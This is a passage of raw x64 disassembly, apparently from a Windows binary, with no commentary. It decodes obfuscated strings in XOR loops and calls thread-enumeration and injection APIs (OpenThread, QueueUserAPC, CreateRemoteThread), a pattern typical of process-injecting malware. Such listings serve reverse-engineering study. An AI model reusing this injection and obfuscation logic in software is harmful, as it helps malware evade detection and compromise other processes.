mov r8d, 0xff00
lea rdx, [rbp + 0xd50]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xd50]
call fcn.1400523c0
mov eax, dword [0x1400afae8]
cmp eax, 1
jne 0x14002d8bc
movups xmm0, xmmword [0x14009d5e0]
movups xmmword [rbp + 0xa70], xmm0
movups xmm1, xmmword [0x14009d5f0]
movups xmmword [rbp + 0xa80], xmm1
movups xmm0, xmmword [0x14009d600]
movups xmmword [rbp + 0xa90], xmm0
mov eax, dword [str._bLk_5]
mov dword [rbp + 0xaa0], eax
movzx eax, byte [0x14009d614]
mov byte [rbp + 0xaa4], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002d4da
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xa70]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x30
jl 0x14002d3e0
cmp r8d, 0x35
jge 0x14002d523
movsxd rax, r8d
lea r9, [rbp + 0xa70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14002d4f0
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0xd70]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xd70]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xd70]
call fcn.1400523c0
mov edx, dword [rsp + 0x48]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14002d61d
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12c4], xmm0
mov qword [rbp + 0x12d4], rbx
mov dword [rbp + 0x12c0], 0x1c
lea rdx, [rbp + 0x12c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14002d614
mov r15d, dword [rsp + 0x48]
mov r14, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
cmp dword [rbp + 0x12cc], r15d
jne 0x14002d5ef
mov r8d, dword [rbp + 0x12c8]
xor edx, edx
mov ecx, 0x12
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x14002d5ef
mov r8, r13
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x12c0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14002d5b2
mov r13d, 0x10
mov r15, qword [rbp + 0x228]
mov rdi, qword [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsd xmm0, qword [0x14009cfb0]
movups xmm2, xmmword [str.9_u__XNeuSTZ5ddgfEC_K]
movsd qword [rbp + 0x10], xmm0
movups xmmword [rbp], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x14002dfe4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 8]
xorps xmm2, xmm1
movd dword [rbp + 8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp + 0x10]
xorps xmm15, xmm1
movd dword [rbp + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, ecx
paddb xmm6, xmm0
movd xmm1, dword [rbp + 0x14]
xorps xmm6, xmm1
movd dword [rbp + 0x14], xmm6
jmp 0x14002e019
cmp eax, 2
jne 0x14002d61d
movups xmm0, xmmword [0x14009cf60]
movups xmmword [rbp + 0x8b0], xmm0
movups xmm1, xmmword [0x14009cf70]
movups xmmword [rbp + 0x8c0], xmm1
mov eax, dword [0x14009cf80]
mov dword [rbp + 0x8d0], eax
movzx eax, word [0x14009cf84]
mov word [rbp + 0x8d4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002da19
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x8b0]
mov edx, dword [rbp + 0x1300]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x14002d920
cmp r8d, 0x26
jge 0x14002da63
movsxd rax, r8d
lea r9, [rbp + 0x8b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14002da30
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp + 0xd90]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xd90]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xd90]
call fcn.1400523c0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14002d61d
lea rdx, [rbp + 0x1248]
call fcn.14002fb80
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14002dce3
mov r8d, ebx
cmp r12d, 2
jl 0x14002dca0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, r13d
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002dcb0
mov rcx, r10
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1278]
call fcn.14002fbb0
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002fa78
cmp r12d, 2
jl 0x14002dfa2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, 0x18
mov r8d, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002fa78
jmp 0x14002dfb0
lea r9, [rbp]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14002dff0
lea rdx, [rbp]
lea rcx, [rbp + 0xdb0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xdb0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xdb0]
call fcn.1400523c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14002e29a
movups xmm2, xmmword [str.wYYD_q_UXQ_]
movups xmmword [rbp + 0x280], xmm2
movzx eax, word [0x14009d910]
mov word [rbp + 0x290], ax
cmp r12d, 2
jl 0x14002e24b
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x280], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x284]
xorps xmm11, xmm1
movd dword [rbp + 0x284], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x288]
xorps xmm10, xmm1
movd dword [rbp + 0x288], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x28c]
xorps xmm13, xmm1
movd dword [rbp + 0x28c], xmm13
mov ebx, r13d
mov eax, ebx
lea r8, [rbp + 0x280]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x12
jl 0x14002e260
lea rcx, [rbp + 0x280]
call fcn.140014d50
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x14b8]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x1510]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x14f0]
call fcn.140003dc0
jmp 0x14002ed6a
lea rdx, [rbp + 0x1110]
call fcn.14002fbe0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14002e469
mov r8d, ebx
cmp r12d, 2
jl 0x14002e43d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14002e469
mov r9, r10
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14002e440
mov rcx, r10
call fcn.140014d50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1260]
call fcn.14002fc00
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002fa9b
cmp r12d, 2
jl 0x14002e651
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jge 0x14002fa9b
jmp 0x14002e660
call fcn.14001ce50
call fcn.14001d870
movups xmm2, xmmword [str.9_fEWZ_HO]
movups xmmword [rbp + 0x298], xmm2
mov edx, dword [0x14009c6a0]
mov dword [rbp + 0x2a8], edx
movzx eax, word [0x14009c6a4]
mov word [rbp + 0x2ac], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002e909
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
